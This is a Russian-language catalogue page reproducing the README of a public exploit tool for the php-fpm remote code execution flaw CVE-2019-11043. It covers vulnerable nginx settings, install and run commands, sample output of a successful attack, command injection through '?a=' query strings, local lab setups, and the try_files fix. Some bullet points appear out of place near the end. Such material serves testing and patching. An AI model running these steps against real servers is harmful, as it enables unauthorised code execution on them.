Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
phuip-fpizdam — Эксплойт для CVE-2019-11043 | Kitploit
Инструменты/GitHubGitHub/codehex083/phuip-fpizdam
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubcodehex083/phuip-fpizdam

phuip-fpizdam

Эксплойт для CVE-2019-11043

Репозиторий
310 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PHuiP-FPizdaM

Что это

Это эксплойт для уязвимости в php-fpm (CVE-2019-11043). В некоторых конфигурациях nginx + php-fpm уязвимость можно вызвать извне. Это означает, что пользователь веб-приложения может получить выполнение кода, если у вас уязвимая конфигурация (см. ниже).

Разбор

Поскольку нам было лень писать разбор, Orange Tsai опубликовал отличный анализ в своём блоге. Респект ему.

Кроме того, доступны мои слайды с ZeroNights 2019.

Что уязвимо

Если веб-сервер работает на nginx + php-fpm и в nginx используется конфигурация вроде

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

и в ней также отсутствуют проверки существования скриптов (например, try_files), то, скорее всего, вы сможете взломать его с помощью этого сплойта.

Полный список предварительных условий

  1. Nginx + php-fpm: запросы, соответствующие location ~ [^/]\.php(/|$), должны передаваться в php-fpm (возможно, регулярное выражение может быть более строгим, см. #1).
  2. Должно быть присваивание переменной PATH_INFO через директиву fastcgi_param PATH_INFO $fastcgi_path_info;. Также SCRIPT_FILENAME должен задаваться через fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (вместо $document_root может быть константный путь). Сначала мы думали, что эти директивы всегда присутствуют в файле fastcgi_params, но это не так.
  3. Должна быть возможность установить PATH_INFO в пустое значение. Этот эксплойт предполагает, что директива fastcgi_split_path_info присутствует и содержит регулярное выражение, начинающееся с ^ и заканчивающееся $, поэтому он пытается сломать регулярное выражение с помощью символа новой строки.

Разве об этой уязвимости не известно много лет?

Давным-давно php-fpm не ограничивал расширения скриптов, то есть что-то вроде /avatar.png/some-fake-shit.php могло выполнять avatar.png как PHP-скрипт. Эта проблема была исправлена около 2010 года.

Текущая уязвимость не требует загрузки файлов, работает в самых последних версиях (до выхода исправления) и, что самое важное, эксплойт гораздо круче.

Как запустить

Установите его с помощью

root@kitploit:~
go get github.com/neex/phuip-fpizdam

Если вы получаете странные ошибки компиляции, убедитесь, что используете go >= 1.13. Запустите программу командой phuip-fpizdam [url] (если каталог $GOPATH/bin находится в вашем $PATH, в противном случае укажите полный путь к бинарному файлу). Успешный вывод выглядит так:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

После этого вы можете начинать добавлять ?a=<ваша команда> ко всем PHP-скриптам (возможно, потребуется несколько попыток).

В качестве альтернативы можно использовать docker-образ для запуска эксплойта:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

Среды для экспериментов

Использование Docker

Если вы хотите воспроизвести проблему или поэкспериментировать с эксплойтом локально через Docker, сделайте следующее:

  1. Склонируйте этот репозиторий и перейдите в каталог reproducer.
  2. Создайте docker-образ командой docker build -t reproduce-cve-2019-11043 .. Это займёт много времени, так как внутри клонируется репозиторий PHP и выполняется сборка из исходников. Однако так будет проще, если вы хотите отлаживать эксплойт. Собирается ревизия непосредственно перед исправлением.
  3. Запустите docker командой docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
  4. Теперь у вас есть http://127.0.0.1:8080/script.php — пустой файл.
  5. Запустите эксплойт командой phuip-fpizdam http://127.0.0.1:8080/script.php.
  6. Если всё в порядке, вы сможете выполнять команды, добавляя ?a= к скрипту: http://127.0.0.1:8080/script.php?a=id. Пробуйте несколько раз, так как заражена только часть рабочих процессов php-fpm.

Использование системных контейнеров LXD

Если вы хотите воспроизвести проблему или поэкспериментировать с эксплойтом локально через LXD, сделайте следующее:

  1. Создайте два системных контейнера: vulnerable и attacker. Для обоих контейнеров можно использовать образ ubuntu:18.04.
  2. В контейнере vulnerable установите nginx и php-fpm. Настройте серверный блок в соответствии с этой конфигурацией. Создайте пустой файл /var/www/html/index.php.
  3. В контейнере attacker установите язык Go (sudo snap install go --classic), склонируйте этот репозиторий и выполните go build в каталоге репозитория.
  4. Запустите атаку следующим образом: ./phuip-fpizdam http://vulnerable.lxd/index.php. Пробуйте несколько раз, чтобы заразить все рабочие процессы php-fpm.

Более подробные инструкции см. в статье Тестирование CVE-2019-11043 (уязвимость безопасности php-fpm) с помощью системных контейнеров LXD.

О PHP5

Переполнение буфера в меньшую сторону (buffer underflow) в php-fpm присутствует в PHP версии 5. Однако этот эксплойт использует оптимизацию хранения переменных FastCGI — _fcgi_data_seg. Эта оптимизация есть только в PHP 7, поэтому данный конкретный эксплойт работает только в PHP 7. Возможно, существует другой способ эксплуатации, работающий в PHP 5.

Благодарности

Изначальная аномалия обнаружена d90pwn во время Real World CTF. Первопричина найдена мной (Эмилем Лернером), а также способ установки параметров php.ini. Итоговый набор параметров php.ini найден beched.

Лицензия

Этот эксплойт распространяется на условиях лицензии MIT.

Воздержитесь от причинения вреда с помощью этого эксплойта. Но если вы действительно что-то взломаете с его помощью, я буду рад.

Скачать инструмент
  • Этот конкретный эксплойт предполагает, что в конфигурации PATH_INFO задаётся после REQUEST_URI.
  • Отсутствуют проверки существования файлов, такие как try_files $uri =404 или if (-f $uri). Если Nginx отбрасывает запросы к несуществующим скриптам до передачи в FastCGI, наши запросы никогда не достигают php-fpm. Добавление такой проверки — также самый простой способ исправления.
  • Этот эксплойт работает только для PHP 7+, но сама уязвимость присутствует и в более ранних версиях (см. ниже).